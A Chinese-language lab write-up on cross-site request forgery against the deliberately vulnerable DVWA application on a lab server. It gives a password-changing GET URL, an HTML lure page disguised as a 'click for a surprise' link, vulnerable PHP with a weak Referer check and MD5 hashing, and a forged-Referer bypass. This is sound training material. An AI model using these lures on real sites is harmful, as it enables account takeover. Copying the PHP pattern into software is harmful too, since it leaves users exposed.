背景知识
跨站请求伪造是一种挟制终端用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。攻击者只要借助少许的社会工程工具,就可完成攻击。
例如通过电子邮件或者是聊天软件发送的链接,攻击者就能迫使一个Web应用程序的用户去执行攻击者选择的操作。例如,如果用户登录网络银行去查看其存款余额,他没有退出网络银行系统就去了自己喜欢的论坛去灌水,如果攻击者在论坛中精心构造了一个恶意的链接并诱使该用户点击了该链接,那么该用户在网络银行帐户中的资金就有可能被转移到攻击者指定的帐户中。
当CSRF针对普通用户发动攻击时,将对终端用户的数据和操作指令构成严重的威胁;当受攻击的终端用户具有管理员帐户的时候,CSRF攻击将危及整个Web应用程序。
实验目的
了解CSRF的危害并完成实验。
实验环境
服务器:win2003+DVWA IP地址:10.1.1.174
测试者:win7,IP地址随机
实验步骤
实验步骤一:low等级
在这个实验中,通过CSRF漏洞在管理员不知情的情况下,诱使管理员点击你伪造好的连接,只要能通过这种方法修改成功密码即可。
当前密码为password
,现在我们修改密码为1234
注意到URL中直接显示了我们新修改的密码1234
http://10.1.1.174/vulnerabilities/csrf/?password_new=1234&password_conf=123&Change=Change#
现在就可以通过某种手段把这个URL转换形式或者做成一个链接,诱骗管理员点击,这也就相当于管理员自己发出的更改密码的请求,而这个请求是管理员在不知情的情况下发出的,CSRF攻击就发生了。
攻击者先伪装好这条链接,再通过某种方式发给你,诱使你点击,比如伪装成广告,邮件,信息等等。比如攻击者把它伪装成了一个网页上的链接,其实就是如下代码:
<html>
<head>
<body>
<p>
<a href="http://10.1.1.174/vulnerabilities/csrf/?password_new=admina&password_conf=admina&Change=Change#"_blank" title="笨蛋"><font size="5" color="red">点一下有惊喜!</font></a>
</p>
</body>
</html>
在桌面上编辑一个TXT文件然后将其后缀改为html
再用浏览器打开,点击之后密码就被修改为admina
了。注意将DVWA Security修改为low等级。
关键代码:
实验步骤二:medium等级
<?php
if (isset($_GET['Change'])) {
// Checks the http referer header
if ( preg_match ( "/10.1.1.174/", $_SERVER['HTTP_REFERER'] ) ){
// Turn requests into variables
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
if ($pass_new == $pass_conf){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
$insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
echo "<pre> Password Changed </pre>";
mysql_close();
}
else{
echo "<pre> Passwords did not match. </pre>";
}
}
}
?>
preg_match 是一个正则表达式匹配函数,以这段代码为例,就是在HTTP_REFERER中去匹配10.1.1.174这个IP地址。这样可以说在一定程度上减少CSRF攻击的发生,但还是没有根本解决。
在已经登录的情况下打开新的标签页进入http://10.1.1.174/dvwa/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#
,设置代理之后抓包,抓不到orz。
打开新的标签页,抓包添加一个referer参数:
即可修改成功。
分析与思考
1)如果你发现一个CSRF你该如何利用?
有的人也许会闷声发大财,但是搞学术的嘛是吧,肯定会更好地利用啦!具体参考:CSRF利用
2)CSRF和XSS有什么联系?
XSS :跨站脚本(Cross-site scripting,通常简称为XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
CSRF :跨站请求伪造(Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
XSS更偏向于方法论,CSRF更偏向于一种形式,只要是伪造用户发起的请求,都可成为CSRF攻击。